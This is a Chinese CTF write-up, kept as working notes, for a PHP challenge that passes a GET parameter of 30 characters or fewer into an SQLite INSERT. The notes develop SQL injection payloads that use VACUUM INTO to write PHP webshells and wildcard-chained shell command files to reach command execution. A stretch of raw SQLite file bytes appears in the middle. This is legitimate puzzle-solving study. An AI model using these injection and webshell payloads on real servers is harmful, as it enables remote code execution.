#web 题目名称:Pholyglot!
/readflag
的运行逻辑如下
a5rz@a5rz:~/Desktop/code$ ./read_flag
21 x 26 = ? 1
Wrong!
a5rz@a5rz:~/Desktop/code$ ./read_flag
84 x 76 = ? 1
Wrong!
index.php
<?php
// 根据客户端IP地址创建沙盒目录路径
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
// 创建沙盒目录
@mkdir($sandbox);
// 切换到沙盒目录,失败则退出
@chdir($sandbox) or die("err?");
// 获取GET参数中的msg值
$msg = @$_GET['msg'];
// 检查msg是否存在且长度不超过30个字符
if (isset($msg) && strlen($msg) <= 30) {
// 随机延迟133到3337微秒
usleep(random_int(133, 3337));
// 创建SQLite数据库连接
$db = new SQLite3(".db");
// 显式启用异常,便于返回SQL错误信息
$db->enableExceptions(true);
try {
// 执行SQL语句:创建表并插入消息内容
$db->exec(sprintf("
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('%s');
", $msg));
echo "OK";
} catch (Throwable $e) {
http_response_code(500);
echo "SQL ERROR: " . $e->getMessage();
}
// 关闭数据库连接
$db->close();
// 删除数据库文件
unlink(".db");
} else if (isset($_GET['reset'])) {
// 如果设置了reset参数,删除整个沙盒目录
@exec('/bin/rm -rf ' . $sandbox);
} else {
// 默认显示源代码
highlight_file(__FILE__);
echo $_SERVER['REMOTE_ADDR'];
}
发现一个写入文件的方式
文件内容');VACUUM INTO('文件名
这会形成如下语句
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('文件内容');VACUUM INTO('文件名');
服务器默认禁止访问
.
开头的文件,如果按照此方法我们只能之星三个字符的命令
<?=``;');VACUUM INTO('z.php
通配符的优先顺序按照ASCII码排序,但是我们即使利用通配符也无法利用三个字符将内容写进四个字符的文件名里
');VACUUM INTO('ls
');VACUUM INTO('n<?=$a=$GET;/*
');VACUUM INTO('o*/`$a[0]`;
<?=`*>m`;');VACUUM INTO('m.php
我现在还能怎么办,还有其他更短的方式代替
');VACUUM INTO('
吗?
Query Language Understood by SQLite
- aggregate functions
- ALTER TABLE
- ANALYZE
- ATTACH DATABASE
- BEGIN TRANSACTION
- comment
- COMMIT TRANSACTION
- core functions
- CREATE INDEX
- CREATE TABLE
- CREATE TRIGGER
- CREATE VIEW
- CREATE VIRTUAL TABLE
- date and time functions
- DELETE
- DETACH DATABASE
- DROP INDEX
- DROP TABLE
- DROP TRIGGER
- DROP VIEW
- END TRANSACTION
- EXPLAIN
- expression
- INDEXED BY
- INSERT
- JSON functions
- keywords
- math functions
- ON CONFLICT clause
- PRAGMA
- REINDEX
- RELEASE SAVEPOINT
- REPLACE
- RETURNING clause
- ROLLBACK TRANSACTION
- SAVEPOINT
- SELECT
- UPDATE
- UPSERT
- VACUUM
- window functions
- WITH clause
或者说现在可用利用通配符顶替一个参数的位置,剩下两个字符可用,还有那些可执行文件可像ls这样利用吗?
~~/bin/rm -rf 遇到特殊文件名会发生漏洞吗?
~~
$_SERVER['REMOTE_ADDR']
可被伪造吗?
~~sh似乎可行,但是写入的文件有大量垃圾数据,我怎么写入数据才能让其sh时候正常执行?
there');VACUUM INTO('out
SQLite format 3���@ �������������������������������������������������������������������.c
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1KtablemsgmsgCREATE TABLE msg (content TEXT)
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������there
如果我尝试拼凑shell呢?
ASCII码对照表,ASCII码一览表(非常详细) - C语言中文网
<?=eval($_GET[1])?>
');VACUUM INTO('dir
');VACUUM INTO('t;a=echo;
');VACUUM INTO('w;f=${IFS};
');VACUUM INTO('u;b=y.php;
');VACUUM INTO('y;c="_GET[0]";
');VACUUM INTO('u;d="$c?>";
');VACUUM INTO('t;e=y.php;
');VACUUM INTO('y;$a$f"$d">>$e
<?=`*>z`;');VACUUM INTO('x.php
<?=eval($');VACUUM INTO('y.php
<?=`* z`;');VACUUM INTO('z.php
/sandbox/?/x.php
');VACUUM INTO('dash
/sandbox/?/z.php
/sandbox/?/y.php
这优先级怎么这么诡异啊
FQEF 拼了好几小时不想拼了
<?=`*`;');VACUUM into('o.php
');VACUUM into('mv
<?=`ls *>d`;');VACUUM into('o
');VACUUM into('e<?=$a=$_GET;
');VACUUM into('eVal($a[1]);?>
');VACUUM into('du;mv d d.php
');VACUUM into('bash
<?=`*`;');VACUUM into('z.php
没想到用 mv …
QEF
#任意命令执行 #php #sqllite #sql注入 #字符数限制